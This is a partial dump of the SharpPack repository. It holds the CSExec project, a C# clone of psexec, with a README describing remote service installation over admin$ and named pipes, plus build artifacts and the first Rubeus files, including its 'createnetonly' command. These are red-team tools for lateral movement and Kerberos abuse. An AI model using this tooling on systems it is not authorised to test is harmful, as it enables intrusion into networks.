https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/.vs/csexec/v15/.suo -------------------------------------------------------------------------------- /CSExec/.vs/csexec/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/.vs/csexec/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /CSExec/.vs/csexec/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/.vs/csexec/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /CSExec/README.md: -------------------------------------------------------------------------------- 1 | # CSExec (a C Sharp psexec implementation) 2 | 3 | This is an example for how to implement `psexec` (from SysInternals Suite) functionality, but in open source C#. This does not implement all of the psexec functionality, but it does implement the equivalent functionality to running: `psexec -s \\target-host cmd.exe` 4 | 5 | ![screenshot](screen.png) 6 | 7 | `psexec` works by doing the following steps: 8 | 9 | * copy a windows service executable (`psexecsvc.exe`) that is embedded within the `psexec.exe` binary to `\\target-host\admin$\system32` 10 | * remotely connect to the service control manager on `\\target-host` to install and start the `psexecsvc.exe` service 11 | * connect to the named pipe on the target host: `\\target-host\pipe\psexecsvc` 12 | * send commands to the `psexecsvc` via the named pipe 13 | * receive output via the `psexecsvc` named pipe 14 | * upon exit, uninstall service, delete service executable 15 | 16 | This project `csexec` mimicks those steps in native C# with only a minimal amount of `pinvoke` for the remote service installation. It's actually surprisingly simple and takes a very minimal amount of code to implement. 17 | 18 | The primary difference between this and `psexec` is that it must determine the .NET runtime on the remote host in order to install the correctly compiled service executable. 19 | 20 | Build in Visual Studio to create .NET 3.5, 4.0, and 4.5 executables for your client preference (Win 7 - Win 10+). 21 | -------------------------------------------------------------------------------- /CSExec/csexec/GlobalVars.cs: -------------------------------------------------------------------------------- 1 | namespace csexec 2 | { 3 | public static class GlobalVars 4 | { 5 | public const string ClientName = "csexec"; 6 | public const string ServiceName = "csexecsvc"; 7 | public const string ServiceDisplayName = "CSExec Service"; 8 | public const string ServiceDescription = "Provides an open source implementation similar to psexec written in C#."; 9 | public const string ServiceEXE = ServiceName + ".exe"; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /CSExec/csexec/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("csexec")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("csexec")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("f3037587-1a3b-41f1-aa71-b026efdb2a82")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CSExec/csexec/Resources/csexecsvc-net35.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/Resources/csexecsvc-net35.exe -------------------------------------------------------------------------------- /CSExec/csexec/Resources/csexecsvc-net40.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/Resources/csexecsvc-net40.exe -------------------------------------------------------------------------------- /CSExec/csexec/Resources/csexecsvc-net45.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/Resources/csexecsvc-net45.exe -------------------------------------------------------------------------------- /CSExec/csexec/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net35/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net35/csexec.exe -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net35/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net35/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net35/csexec.pdb -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net40/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net40/csexec.exe -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net40/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net40/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net40/csexec.pdb -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net45/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net45/csexec.exe -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net45/csexec.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSExec/csexec/bin/Release/net45/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/bin/Release/net45/csexec.pdb -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net35.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 1aa687a98339ed6f030d9106ce570ad131c05557 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net35.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/csexec-net35.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net40.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | cdf3f21c7cec9eb421830de55e46c8be840c0f49 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net40.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/csexec-net40.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net45.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 3204047c8176f9049dcaedc03c7b0be371771aaf 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Debug/csexec-net45.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Debug/csexec-net45.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net35.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 1aa687a98339ed6f030d9106ce570ad131c05557 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net35.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net35.csproj.GenerateResource.cache 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.Properties.Resources.resources 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net35.csproj.CoreCompileInputs.cache 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.exe 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net35\csexec.exe.config 6 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net35\csexec.exe 7 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net35\csexec.pdb 8 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.pdb 9 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net35.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec-net35.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net40.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | cdf3f21c7cec9eb421830de55e46c8be840c0f49 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net40.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net40\csexec.exe.config 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net40\csexec.exe 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net40\csexec.pdb 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.Properties.Resources.resources 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net40.csproj.GenerateResource.cache 6 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net40.csproj.CoreCompileInputs.cache 7 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.exe 8 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.pdb 9 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net40.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec-net40.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net45.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 3204047c8176f9049dcaedc03c7b0be371771aaf 2 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net45.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net45.csproj.GenerateResource.cache 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net45\csexec.exe.config 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net45\csexec.exe 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\bin\Release\net45\csexec.pdb 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.Properties.Resources.resources 6 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec-net45.csproj.CoreCompileInputs.cache 7 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.exe 8 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexec\obj\Release\csexec.pdb 9 | -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec-net45.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec-net45.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec.Properties.Resources.resources -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec.exe -------------------------------------------------------------------------------- /CSExec/csexec/obj/Release/csexec.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexec/obj/Release/csexec.pdb -------------------------------------------------------------------------------- /CSExec/csexecsvc/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("csexecsvc")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("csexecsvc")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("41a90a6a-f9ed-4a2f-8448-d544ec1fd753")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/bin/Release/net35/csexecsvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/bin/Release/net35/csexecsvc.exe -------------------------------------------------------------------------------- /CSExec/csexecsvc/bin/Release/net35/csexecsvc.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/bin/Release/net35/csexecsvc.pdb -------------------------------------------------------------------------------- /CSExec/csexecsvc/bin/Release/net45/csexecsvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/bin/Release/net45/csexecsvc.exe -------------------------------------------------------------------------------- /CSExec/csexecsvc/bin/Release/net45/csexecsvc.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/bin/Release/net45/csexecsvc.pdb -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/csexecsvc-net35.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | b50e7ef967f708a98370e258bc992d7f3d5c8fa1 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/csexecsvc-net40.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 9800eb01b89b0fdca0cd5207734cf3503c85b24b 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/csexecsvc-net40.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Debug/csexecsvc-net40.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/csexecsvc-net45.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | f86adb631ce556f6975913dfd286bf8670ea7493 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Debug/csexecsvc-net45.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Debug/csexecsvc-net45.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net35.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | b50e7ef967f708a98370e258bc992d7f3d5c8fa1 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net35.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc-net35.csproj.CoreCompileInputs.cache 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.exe 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net35\csexecsvc.exe 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net35\csexecsvc.pdb 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.pdb 6 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net40.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 9800eb01b89b0fdca0cd5207734cf3503c85b24b 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net40.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net40\csexecsvc.exe 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net40\csexecsvc.pdb 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc-net40.csprojResolveAssemblyReference.cache 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc-net40.csproj.CoreCompileInputs.cache 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.exe 6 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.pdb 7 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net45.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | f86adb631ce556f6975913dfd286bf8670ea7493 2 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc-net45.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc-net45.csproj.CoreCompileInputs.cache 2 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.exe 3 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net45\csexecsvc.exe 4 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\bin\Release\net45\csexecsvc.pdb 5 | C:\Users\pentest\Desktop\CSExec-master\CSExec-master\csexecsvc\obj\Release\csexecsvc.pdb 6 | -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Release/csexecsvc.exe -------------------------------------------------------------------------------- /CSExec/csexecsvc/obj/Release/csexecsvc.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/csexecsvc/obj/Release/csexecsvc.pdb -------------------------------------------------------------------------------- /CSExec/screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/CSExec/screen.png -------------------------------------------------------------------------------- /Rubeus/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | .DS_Store 8 | 9 | -------------------------------------------------------------------------------- /Rubeus/Rubeus.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Asn1/AsnException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Asn1 { 5 | 6 | public class AsnException : IOException { 7 | 8 | public AsnException(string message) 9 | : base(message) 10 | { 11 | } 12 | 13 | public AsnException(string message, Exception nested) 14 | : base(message, nested) 15 | { 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Createnetonly.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | 5 | namespace Rubeus.Commands 6 | { 7 | public class Createnetonly : ICommand 8 | { 9 | public static string CommandName => "createnetonly"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | if (arguments.ContainsKey("/program")) 14 | { 15 | if (arguments.ContainsKey("/show")) 16 | { 17 | LSA.CreateProcessNetOnly(arguments["/program"], true); 18 | } 19 | else 20 | { 21 | LSA.CreateProcessNetOnly(arguments["/program"]); 22 | } 23 | } 24 | 25 | else 26 | { 27 | Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); 28 | } 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- 